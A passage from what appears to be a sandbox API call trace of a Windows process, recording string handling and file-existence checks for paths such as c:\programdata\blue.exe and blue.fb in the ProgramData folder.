[0091.961] SysReAllocStringLen (in: pbstr=0x28f340*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f340*="\\device\\harddiskvolume1") returned 1 [0091.962] SysReAllocStringLen (in: pbstr=0x28f2a8*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f2a8*="progra~3") returned 1 [0091.962] SysReAllocStringLen (in: pbstr=0x28f2b0*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f2b0*="\\device\\harddiskvolume1\\progra~3") returned 1 [0091.962] SysReAllocStringLen (in: pbstr=0x28f340*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f340*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0091.962] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\", cchLength=0x21 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\") returned 0x21 [0091.962] SysReAllocStringLen (in: pbstr=0x4719f8*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x4719f8*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0091.962] SysReAllocStringLen (in: pbstr=0x471a1c*=0x0, psz="device", len=0x6 | out: pbstr=0x471a1c*="device") returned 1 [0091.962] SysReAllocStringLen (in: pbstr=0x471a3c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471a3c*="harddiskvolume1") returned 1 [0091.962] SysReAllocStringLen (in: pbstr=0x471a48*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471a48*="progra~3") returned 1 [0091.962] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devicemdataume1", lpUsedDefaultChar=0x0) returned 6 [0091.963] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0091.963] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0091.963] SystemTimeToFileTime (in: lpSystemTime=0x28f260, lpFileTime=0x28f270 | out: lpFileTime=0x28f270) returned 1 [0091.963] SystemTimeToFileTime (in: lpSystemTime=0x28f260, lpFileTime=0x28f270 | out: lpFileTime=0x28f270) returned 1 [0091.963] SystemTimeToFileTime (in: lpSystemTime=0x28f260, lpFileTime=0x28f270 | out: lpFileTime=0x28f270) returned 1 [0091.963] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x28f23c*="blue.exe") returned 1 [0091.963] CharLowerBuffW (in: lpsz="blue.exe", cchLength=0x8 | out: lpsz="blue.exe") returned 0x8 [0091.963] SysReAllocStringLen (in: pbstr=0x28f240*="blue.exe", psz="blue.exe", len=0x8 | out: pbstr=0x28f240*="blue.exe") returned 1 [0091.963] SysReAllocStringLen (in: pbstr=0x471aa0*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471aa0*="blue.exe") returned 1 [0091.963] SysReAllocStringLen (in: pbstr=0x471aa4*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471aa4*="blue.exe") returned 1 [0091.963] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0091.964] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0091.964] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.exe") returned 0x17 [0091.964] SysReAllocStringLen (in: pbstr=0x471aa8*=0x0, psz="c:\\programdata\\blue.exe", len=0x17 | out: pbstr=0x471aa8*="c:\\programdata\\blue.exe") returned 1 [0091.964] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.exe") returned 0x17 [0091.964] SysReAllocStringLen (in: pbstr=0x471b98*=0x0, psz="c:\\programdata\\blue.exe", len=0x17 | out: pbstr=0x471b98*="c:\\programdata\\blue.exe") returned 1 [0091.964] SysReAllocStringLen (in: pbstr=0x471b9c*=0x0, psz="c:", len=0x2 | out: pbstr=0x471b9c*="c:") returned 1 [0091.964] SysReAllocStringLen (in: pbstr=0x471bbc*=0x0, psz="programdata", len=0xb | out: pbstr=0x471bbc*="programdata") returned 1 [0091.964] SysReAllocStringLen (in: pbstr=0x471bdc*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471bdc*="blue.exe") returned 1 [0091.964] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0091.964] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exeatawr45w", lpUsedDefaultChar=0x0) returned 8 [0091.965] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0091.965] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0091.965] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0091.965] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0091.965] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0091.965] GetLastError () returned 0x12 [0091.965] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0091.965] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0091.965] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0091.965] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.exe", len=0x8 | out: pbstr=0x28ef0c*="blue.exe") returned 1 [0091.965] FindFirstFileW (in: lpFileName="c:\\ProgramData\\blue.exe", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0091.966] GetLastError () returned 0x2 [0091.966] SysReAllocStringLen (in: pbstr=0x28ef04*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x28ef04*="blue.exe") returned 1 [0091.966] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\blue.exe", len=0x17 | out: pbstr=0x28ef00*="c:\\ProgramData\\blue.exe") returned 1 [0091.966] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.exe", psz="c:\\ProgramData\\blue.exe\\", len=0x18 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.exe\\") returned 1 [0091.966] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\blue.exe\\", len=0x18 | out: pbstr=0x28eefc*="c:\\ProgramData\\blue.exe\\") returned 1 [0091.966] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.exe\\", psz="c:\\ProgramData\\blue.exe", len=0x17 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.exe") returned 1 [0092.017] CharLowerBuffW (in: lpsz="c:\\ProgramData\\blue.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.exe") returned 0x17 [0092.017] SysReAllocStringLen (in: pbstr=0x471b98*=0x0, psz="c:\\programdata\\blue.exe", len=0x17 | out: pbstr=0x471b98*="c:\\programdata\\blue.exe") returned 1 [0092.017] SysReAllocStringLen (in: pbstr=0x471b9c*=0x0, psz="c:", len=0x2 | out: pbstr=0x471b9c*="c:") returned 1 [0092.017] SysReAllocStringLen (in: pbstr=0x471bbc*=0x0, psz="programdata", len=0xb | out: pbstr=0x471bbc*="programdata") returned 1 [0092.017] SysReAllocStringLen (in: pbstr=0x471bdc*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471bdc*="blue.exe") returned 1 [0092.017] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0092.017] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exeata", lpUsedDefaultChar=0x0) returned 8 [0092.018] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.exe") returned 0x17 [0092.018] SysReAllocStringLen (in: pbstr=0x471bec*=0x0, psz="c:\\programdata\\blue.exe", len=0x17 | out: pbstr=0x471bec*="c:\\programdata\\blue.exe") returned 1 [0092.018] SysReAllocStringLen (in: pbstr=0x471bf0*=0x0, psz="c:", len=0x2 | out: pbstr=0x471bf0*="c:") returned 1 [0092.018] SysReAllocStringLen (in: pbstr=0x471c10*=0x0, psz="programdata", len=0xb | out: pbstr=0x471c10*="programdata") returned 1 [0092.018] SysReAllocStringLen (in: pbstr=0x471c30*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471c30*="blue.exe") returned 1 [0092.018] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataeatawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.019] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exeataeatawr45w", lpUsedDefaultChar=0x0) returned 8 [0092.019] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.019] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0092.019] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.019] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.019] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.019] GetLastError () returned 0x12 [0092.019] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.019] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0092.019] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0092.020] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.exe", len=0x8 | out: pbstr=0x28ef0c*="blue.exe") returned 1 [0092.020] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\blue.exe", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.020] GetLastError () returned 0x2 [0092.020] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x28ef00*="blue.exe") returned 1 [0092.020] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\blue.exe", len=0x14 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\blue.exe") returned 1 [0092.020] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.exe", psz="c:\\PROGRA~3\\blue.exe\\", len=0x15 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.exe\\") returned 1 [0092.020] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\blue.exe\\", len=0x15 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\blue.exe\\") returned 1 [0092.020] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.exe\\", psz="c:\\PROGRA~3\\blue.exe", len=0x14 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.exe") returned 1 [0092.021] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\blue.exe", cchLength=0x14 | out: lpsz="c:\\progra~3\\blue.exe") returned 0x14 [0092.021] SysReAllocStringLen (in: pbstr=0x471bec*=0x0, psz="c:\\progra~3\\blue.exe", len=0x14 | out: pbstr=0x471bec*="c:\\progra~3\\blue.exe") returned 1 [0092.021] SysReAllocStringLen (in: pbstr=0x471bf0*=0x0, psz="c:", len=0x2 | out: pbstr=0x471bf0*="c:") returned 1 [0092.021] SysReAllocStringLen (in: pbstr=0x471c10*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471c10*="progra~3") returned 1 [0092.021] SysReAllocStringLen (in: pbstr=0x471c30*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471c30*="blue.exe") returned 1 [0092.021] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3ata", lpUsedDefaultChar=0x0) returned 8 [0092.021] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exeata", lpUsedDefaultChar=0x0) returned 8 [0092.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x471c58, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB77F78.TMP⛜vよt☘E\x18") returned 12 [0092.022] CharLowerBuffW (in: lpsz="EVB77F78.TMP", cchLength=0xc | out: lpsz="evb77f78.tmp") returned 0xc [0092.022] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0092.022] FindFirstFileW (in: lpFileName="c:\\programdata\\evb77f78.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A腼uA((￿￿((⁾D(❂D(\x17")) returned 0xffffffff [0092.022] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.022] SysReAllocStringLen (in: pbstr=0x28f258*="evb77f78.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.022] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0092.022] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0092.022] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0092.022] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="blue.exe", len=0x8 | out: pbstr=0x28f1cc*="blue.exe") returned 1 [0092.022] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.exe", len=0x2c | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\blue.exe") returned 1 [0092.023] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.exe\\", len=0x2d | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.exe\\") returned 1 [0092.023] SysReAllocStringLen (in: pbstr=0x471ac4*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.exe\\", len=0x2d | out: pbstr=0x471ac4*="\\device\\harddiskvolume1\\programdata\\blue.exe\\") returned 1 [0092.023] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\blue.exe\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\programdata\\blue.exe\\") returned 0x2d [0092.023] SysReAllocStringLen (in: pbstr=0x471c70*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.exe\\", len=0x2d | out: pbstr=0x471c70*="\\device\\harddiskvolume1\\programdata\\blue.exe\\") returned 1 [0092.023] SysReAllocStringLen (in: pbstr=0x471c94*=0x0, psz="device", len=0x6 | out: pbstr=0x471c94*="device") returned 1 [0092.023] SysReAllocStringLen (in: pbstr=0x471cb4*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471cb4*="harddiskvolume1") returned 1 [0092.023] SysReAllocStringLen (in: pbstr=0x471cc0*=0x0, psz="programdata", len=0xb | out: pbstr=0x471cc0*="programdata") returned 1 [0092.024] SysReAllocStringLen (in: pbstr=0x471ccc*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471ccc*="blue.exe") returned 1 [0092.024] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.024] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.024] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exeataume1", lpUsedDefaultChar=0x0) returned 8 [0092.024] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.exe\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.024] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0092.024] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0092.024] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0092.024] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="blue.exe", len=0x8 | out: pbstr=0x28f1c0*="blue.exe") returned 1 [0092.024] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.exe", len=0x29 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\blue.exe") returned 1 [0092.024] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.exe\\", len=0x2a | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\blue.exe\\") returned 1 [0092.025] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.exe\\", cchLength=0x2a | out: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.exe\\") returned 0x2a [0092.025] SysReAllocStringLen (in: pbstr=0x471cdc*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\blue.exe\\", len=0x2a | out: pbstr=0x471cdc*="\\device\\harddiskvolume1\\progra~3\\blue.exe\\") returned 1 [0092.025] SysReAllocStringLen (in: pbstr=0x471d00*=0x0, psz="device", len=0x6 | out: pbstr=0x471d00*="device") returned 1 [0092.025] SysReAllocStringLen (in: pbstr=0x471d20*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471d20*="harddiskvolume1") returned 1 [0092.025] SysReAllocStringLen (in: pbstr=0x471d2c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471d2c*="progra~3") returned 1 [0092.025] SysReAllocStringLen (in: pbstr=0x471d38*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471d38*="blue.exe") returned 1 [0092.025] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.025] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0092.025] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exevolume1", lpUsedDefaultChar=0x0) returned 8 [0092.026] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.026] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.026] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.026] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x28f23c*="blue.fb") returned 1 [0092.026] CharLowerBuffW (in: lpsz="blue.fb", cchLength=0x7 | out: lpsz="blue.fb") returned 0x7 [0092.026] SysReAllocStringLen (in: pbstr=0x28f240*="blue.fb", psz="blue.fb", len=0x7 | out: pbstr=0x28f240*="blue.fb") returned 1 [0092.026] SysReAllocStringLen (in: pbstr=0x471d90*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471d90*="blue.fb") returned 1 [0092.026] SysReAllocStringLen (in: pbstr=0x471d94*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471d94*="blue.fb") returned 1 [0092.026] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0092.026] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0092.026] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\blue.fb") returned 0x16 [0092.026] SysReAllocStringLen (in: pbstr=0x471d98*=0x0, psz="c:\\programdata\\blue.fb", len=0x16 | out: pbstr=0x471d98*="c:\\programdata\\blue.fb") returned 1 [0092.027] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\blue.fb") returned 0x16 [0092.027] SysReAllocStringLen (in: pbstr=0x471e74*=0x0, psz="c:\\programdata\\blue.fb", len=0x16 | out: pbstr=0x471e74*="c:\\programdata\\blue.fb") returned 1 [0092.027] SysReAllocStringLen (in: pbstr=0x471e78*=0x0, psz="c:", len=0x2 | out: pbstr=0x471e78*="c:") returned 1 [0092.027] SysReAllocStringLen (in: pbstr=0x471e98*=0x0, psz="programdata", len=0xb | out: pbstr=0x471e98*="programdata") returned 1 [0092.027] SysReAllocStringLen (in: pbstr=0x471eb8*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471eb8*="blue.fb") returned 1 [0092.027] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.027] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, 